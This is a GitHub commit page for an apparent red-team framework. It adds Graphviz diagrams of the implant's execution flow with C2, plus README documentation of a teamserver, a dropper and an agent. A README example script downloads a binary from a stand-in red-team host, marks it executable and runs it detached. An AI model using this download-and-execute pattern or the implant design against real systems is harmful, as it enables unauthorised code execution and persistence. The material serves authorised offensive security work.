Skip to content

Commit

Permalink
More documentation improvements
Browse files Browse the repository at this point in the history
  • Loading branch information
KCarretto committed Dec 18, 2019
1 parent 76f812a commit 3cd19f8
Show file tree
Hide file tree
Showing 5 changed files with 97 additions and 7 deletions.
35 changes: 35 additions & 0 deletions .github/images/agent/exec_flow.dot
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
digraph execFlow {
nodesep=1

node [width=1 height=.75]

Start [label=<Start> shape=parallelogram]

C2 [shape=cylinder height=1 width=.5]
Buffer [shape=component label=<Output Buffer>]


Init [label=<Initialize>]
{rank=same
Run [label=<Run>]
Stop [label=<Stop> shape=parallelogram]
}

{rank=same
Exec [label=<Exec>]
Send [label=<Send>]
}


Start -> Init -> Run
Run -> Stop [label=<<I>Interupted</I>> style=dashed]

Run -> Send
Buffer -> Send [label=<<I>Read</I>> style=dashed arrowhead=empty]

Send -> Exec
Send -> C2 [style=dotted arrowhead=empty]
Exec -> Buffer [label=<<I> Write</I>> style=dashed arrowhead=empty]

Run -> Exec [dir=back constraint=false]
}
Binary file added .github/images/agent/exec_flow.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
29 changes: 22 additions & 7 deletions .github/images/graph.dot
Original file line number Diff line number Diff line change
@@ -1,19 +1,34 @@
digraph paragon {
rankdir="LR"
rankdir=LR
nodesep=.5
ranksep=.75

Target
Task
Job
node [shape=rect width=1 height=.75]

{rank=same
JobTemplate
Job
Target
}
Tag
Task
Credential
Network

Tag -> {Job, Task, Target, Credential, Network} [dir=back]

/*
* Edges
*/

JobTemplate -> Job
Job -> Task
Task -> Target [dir=back]

Task -> Target
Tag -> JobTemplate [dir=both]
Tag -> Job [dir=both]
Tag -> Target [dir=both]
Tag -> Task [dir=both]

Target -> Credential
Target -> Network
Target -> Network [dir=both]
}
Binary file modified .github/images/graph.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
40 changes: 40 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,13 +23,37 @@ The utilized images are available on docker-hub, and can be configured from a do

## Component Overview

### Scripting Language
Most components in this repository rely on a Python-like scripting language which enables powerful control and customization of their behaviour. The language is a modified version of [Google's starlark](https://github.com/google/starlark-go), extended with cross-platform functionality for operators. This also enables tools like the agent and dropper (discussed below) to execute tasks without relying on system binaries (`curl`, `bash`, etc). All operations are executed as code in Golang, so it's intuitive to add additional functionality to the scripting environment. Here is an example script:

```python
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
```
[Reference](https://godoc.org/github.com/KCarretto/paragon/pkg/script/stdlib/sys)

### Teamserver
Provides a simple web application and GraphQL API to interface with a Red Team knowledge graph, unifying tools behind a centralized source of truth and abstracting many tedious backend concerns from operators. Integrate your custom tools with the Teamserver (using the GraphQL API or event subscriptions) to save time on the backend work. The Teamserver records all activity, so with all of your tools unified in one place, writing post-engagement reports becomes signficantly easier.

### Built-In Tools

The below tools are also included within the repository. They can easily be extended to fit many cross-platform use cases.

#### Dropper
* Fully cross-platform
* Statically compile assets into a single binary
* Provides Python-like scripting language for custom deployment configuration

Paragon provides a tool for packaging assets (binaries, scripts, etc.) into a single binary that when executed will execute your custom deployment script that may write assets to the filesystem, launch processes, download files, handle errors, and more. It is fully cross-platform and statically compiled, providing reliable deployments. If you wish to extend it's functionality, you may simply extend the generated golang file before compiling.


#### Agent

* Fully cross-platform
Expand Down Expand Up @@ -135,3 +159,19 @@ Below is an overview of the relationship between nodes in the Red Team knowledge

![Graph](.github/images/graph.png)

### Agent Reference

#### Adding a Transport
The agent is designed to be easily customized with new transport mechanisms, multiplexing communications based on transport priority. To use your own, simply implement the [agent.Sender](https://godoc.org/github.com/KCarretto/paragon/pkg/agent#Sender) interface and register your transport during initialization. Examples of existing transports can be found in subdirectories of the `agent` package.

#### Task Execution
By default, the agent expects tasks to adhere to starlark syntax, and exposes a standard library for scripts to utilize. To change the behaviour of task execution (i.e. just bash commands), you may implement the [agent.Receiver](https://godoc.org/github.com/KCarretto/paragon/pkg/agent#Receiver) interface to execute tasks as you'd like.

#### Scripting Environment
The scripting environment can be customized for your agent, enabling you to easily package new functionality for scripts to utilize. See [script options](https://godoc.org/github.com/KCarretto/paragon/pkg/script#Option) to learn how to extend the agent's script engine.

#### Execution Flow
Below is a flow diagram of the general execution of the agent implant.

![AgentExec](.github/images/agent/exec_flow.png)

0 comments on commit 3cd19f8

Please sign in to comment.